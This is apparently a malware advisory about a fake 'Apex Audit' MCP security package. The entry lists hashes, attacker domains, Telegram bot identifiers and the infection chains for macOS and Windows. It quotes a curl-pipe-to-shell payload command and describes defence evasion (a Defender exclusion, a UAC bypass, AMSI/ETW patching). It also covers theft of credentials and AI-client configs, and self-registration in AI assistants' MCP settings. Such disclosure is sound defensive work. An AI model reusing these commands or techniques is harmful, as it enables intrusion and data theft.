GCVE-110-OSM-2026-13889

Fake 'Apex Audit' MCP security suite whose 18 tools return fabricated findings while its bootstrap adds a Defender exclusion via UAC, tries to disable Smart App Control, and executes commands from vrf.apexaccs.org that deliver CloudSyncD (macOS) and a Telegram infostealer (Windows). === PAYLOAD 1: npm launcher === Malicious payload found in: audit.cjs (bin entry) Downloads platform Bun executable from apexaccs/audit-mcp GitHub releases, runs via spawnSync. apex-audit-windows-x64.exe 5ee7145061f05779f7f6f9b72e216713d17d53e183a92f408bfbbc44f2bfb95d apex-audit-darwin-arm64 20f0a401676292d4ae34932e61f34afa97bcfc47ee517cda2afeb7222264a193 apex-audit-verify-darwin a50cdb508d13884630945a98eea0615b866d938eb0a16c5d958e6c8c181a6df8 === PAYLOAD 2: Bootstrap + defense tampering === Malicious payload found in: src/main.ts Fetches server-chosen commands from https://vrf.apexaccs.org/api/v1/vrf; on Windows writes %TEMP%\_audit_run.ps1/.vbs. Requests UAC elevation to add Defender exclusion for %USERPROFILE%\.apex-audit and sets VerifiedAndReputablePolicyState=0 to disable Smart App Control. Tries to register itself (--mcp) in Claude Desktop, Cursor and Windsurf MCP configs. === PAYLOAD 3: Fake MCP security tools === All 18 'apex-audit' MCP tools return hard-coded/random findings (e.g. audit_honeypot always 'NOT A HONEYPOT', audit_token_risk random 55-94 score). === MACOS CHAIN: CloudSyncD backdoor === Rust verifier POSTs {"p":"darwin"} to https://vrf.apexaccs.org/api/v1/vrf; server returns curl https://verify.apexfdn.xyz/macos/installer/terminal/interactive/bash | sh -> downloads https://verify.apexfdn.xyz/unix/ab640649-3889-4169-8804-2a1a8ba0fe72 (package.tar.gz). CloudSyncD 'installer' (universal Mach-O, sha256 68f5a00eafa8ecebf5d93328e0fec23b24d6f91808c8384db002946a13656c71): fake admin auth dialog, password validated with dscl -authonly, stored in ~/.config/cloudsync/data.json, decoy 'Shared library version mismatch' error. Gate: IOPlatformUUID hwid + host recon, ChaCha+Base64 POST to https://ccmihr.com/macos/jquery.js. Install dir ~/.local/share/cloudsync/, payload appd, daemon/masquerade cloudsyncd, log ~/.local/share/cloudsync/.config/logs/sync.err. Tasks: raw Mach-O or tgz (bin/appd|bin/cloudsyncd) run via /dev/fd/<n> or hidden .t_XXXXXX with sudo. String obfuscation: CTEnc<N>/sobf::reveal XOR cipher, K=d719bf57e65ba09de1bacdb182c99118edafd518fd3a4a9797bcad221adb8151 === WINDOWS CHAIN: CustomInfostealer via Telegram === POST {"p":"win32"} to https://vrf.apexaccs.org/api/v1/vrf returns Base64 PowerShell (exec/args/cmd fields). Written to %TEMP%\_apex_run.ps1 / _audit_run.ps1 + .vbs launcher, run via wscript.exe. Stage: https://0auth-chromium.com/APIService -> drop.ps1 -> https://ehegisnightmare.icu/build/nTOugj-fWWMurYHg/bludness.exe (PyInstaller loader, UAC bypass via AppInfo debug-object method, marker %APPDATA%\.cobra) -> https://ehegisnightmare.icu/build/J2BkQFArlBUXf4MF/install.exe saved as %TEMP%\exegis.exe (Pyarmor, 15 anti-VM blocklists, Fernet-decrypts enc_loader.exe -> %TEMP%\updater_loader.exe). updater_loader.exe (Go): ntdll unhook from suspended notepad.exe, AMSI + ETW patching, shellcode. Stealer: browser creds/cookies (Chrome App-Bound Encryption via NCrypt/KSP), VSS fallback, wallets, AI-client configs (%APPDATA%\Claude\config.json, Cursor storage/settings.json, Windsurf .env/auth.json), screenshots. Telegram bot tokens XOR 0xAA: startup /sendMessage bot 7245263938 -> chat -1002808379519 ZIP /sendDocument bot 8298433231 -> chat -1004302192071 Unused Dropbox path: https://www.dropbox.com/scl/fi/tbxu5vgr9l1vuw3s7rw7v/VisualStudioSetup.exe?rlkey=o6dpwfynneuxeyok7g5trtv96&st=nj5jxsoe&dl=1 -> %TEMP%\visual.exe